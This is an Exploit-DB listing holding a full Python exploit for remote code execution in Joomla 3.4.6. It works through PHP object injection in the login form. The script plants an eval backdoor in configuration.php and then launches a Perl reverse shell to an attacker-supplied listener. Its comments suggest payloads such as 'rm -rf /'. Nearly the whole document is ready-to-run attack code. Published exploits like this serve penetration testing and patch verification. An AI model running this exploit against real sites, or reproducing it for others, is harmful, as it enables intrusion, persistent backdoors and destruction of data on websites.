Joomla! 3.4.6 – ‘configuration.php’ Remote Code Execution

  • 作者: Alessandro Groppo
    日期: 2019-10-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47465/
  • # Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
    # Google Dork: N/A
    # Date: 2019-10-02
    # Exploit Author: Alessandro Groppo @Hacktive Security
    # Vendor Homepage: https//www.joomla.it/
    # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
    # Version: 3.0.0 --> 3.4.6
    # Tested on: Linux
    # CVE : N/A
    #
    # Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
    # Github: https://github.com/kiks7/rusty_joomla_rce
    #
    # The exploitation is implanting a backdoor in /configuration.php file in the root directory 
    # with an eval in order to be more suitable for all environments, but it is also more intrusive.
    # If you don't like this way, you can replace the get_backdoor_pay() 
    # with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
    
    #!/usr/bin/env python3
    
    import requests
    from bs4 import BeautifulSoup
    import sys
    import string
    import random
    import argparse
    from termcolor import colored
    
    PROXS = {'http':'127.0.0.1:8080'}
    PROXS = {}
    
    def random_string(stringLength):
    	letters = string.ascii_lowercase
    	return ''.join(random.choice(letters) for i in range(stringLength))
    
    
    backdoor_param = random_string(50)
    
    def print_info(str):
    	print(colored("[*] " + str,"cyan"))
    
    def print_ok(str):
    	print(colored("[+] "+ str,"green"))
    
    def print_error(str):
    	print(colored("[-] "+ str,"red"))
    
    def print_warning(str):
    	print(colored("[!!] " + str,"yellow"))
    
    def get_token(url, cook):
    	token = ''
    	resp = requests.get(url, cookies=cook, proxies = PROXS)
    	html = BeautifulSoup(resp.text,'html.parser')
    	# csrf token is the last input
    	for v in html.find_all('input'):
    		csrf = v
    	csrf = csrf.get('name')
    	return csrf
    
    
    def get_error(url, cook):
    	resp = requests.get(url, cookies = cook, proxies = PROXS)
    	if 'Failed to decode session object' in resp.text:
    		#print(resp.text)
    		return False
    	#print(resp.text)
    	return True
    
    
    def get_cook(url):
    	resp = requests.get(url, proxies=PROXS)
    	#print(resp.cookies)
    	return resp.cookies
    
    
    def gen_pay(function, command):
    	# Generate the payload for call_user_func('FUNCTION','COMMAND')
    	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    	#payload =command + ' || $a=\'http://wtf\';'
    	payload ='http://l4m3rz.l337/;' + command
    	# Following payload will append an eval() at the enabled of the configuration file
    	#payload ='file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    	function_len = len(function)
    	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    	return final
    
    def make_req(url , object_payload):
    	# just make a req with object
    	print_info('Getting Session Cookie ..')
    	cook = get_cook(url)
    	print_info('Getting CSRF Token ..')
    	csrf = get_token( url, cook)
    
    	user_payload = '\\0\\0\\0' * 9
    	padding = 'AAA' # It will land at this padding
    	working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
    	clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
    
    	inj_object = '";'
    	inj_object += object_payload
    	inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
    	password_payload = padding + inj_object
    	params = {
    'username': user_payload,
    'password': password_payload,
    'option':'com_users',
    'task':'user.login',
    csrf :'1'
    }
    
    	print_info('Sending request ..')
    	resp= requests.post(url, proxies = PROXS, cookies = cook,data=params)
    	return resp.text
    
    def get_backdoor_pay():
    	# This payload will backdoor the the configuration .PHP with an eval on POST request
    
    	function = 'assert'
    	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
    	# payload =command + ' || $a=\'http://wtf\';'
    	# Following payload will append an eval() at the enabled of the configuration file
    	payload ='file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
    	function_len = len(function)
    	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
    	return final
    
    def check(url):
    	check_string = random_string(20)
    	target_url = url + 'index.php/component/users'
    	html = make_req(url, gen_pay('print_r',check_string))
    	if check_string in html:
    		return True
    	else:
    		return False
    
    def ping_backdoor(url,param_name):
    	res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
    	if 'PWNED' in res.text:
    		return True
    	return False
    
    def execute_backdoor(url, payload_code):
    	# Execute PHP code from the backdoor
    	res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
    	print(res.text)
    
    def exploit(url, lhost, lport):
    	# Exploit the target
    	# Default exploitation will append en eval function at the end of the configuration.pphp
    	# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
    	# e.g. get_payload('system','rm -rf /')
    
    	# First check that the backdoor has not been already implanted
    	target_url = url + 'index.php/component/users'
    
    	make_req(target_url, get_backdoor_pay())
    	if ping_backdoor(url, backdoor_param):
    		print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
    		print_info('Now it\'s time to reverse, trying with a system + perl')
    		execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
    
    
    if __name__ == '__main__':
    	parser = argparse.ArgumentParser()
    	parser.add_argument('-t','--target',required=True,help='Joomla Target')
    	parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
    	parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
    	parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
    	parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
    	args = vars(parser.parse_args())
    
    	url = args['target']
    	if(check(url)):
    		print_ok('Vulnerable')
    		if args['exploit']:
    			exploit(url, args['lhost'], args['lport'])
    		else:
    			print_info('Use --exploit to exploit it')
    
    	else:
    		print_error('Seems NOT Vulnerable ;/')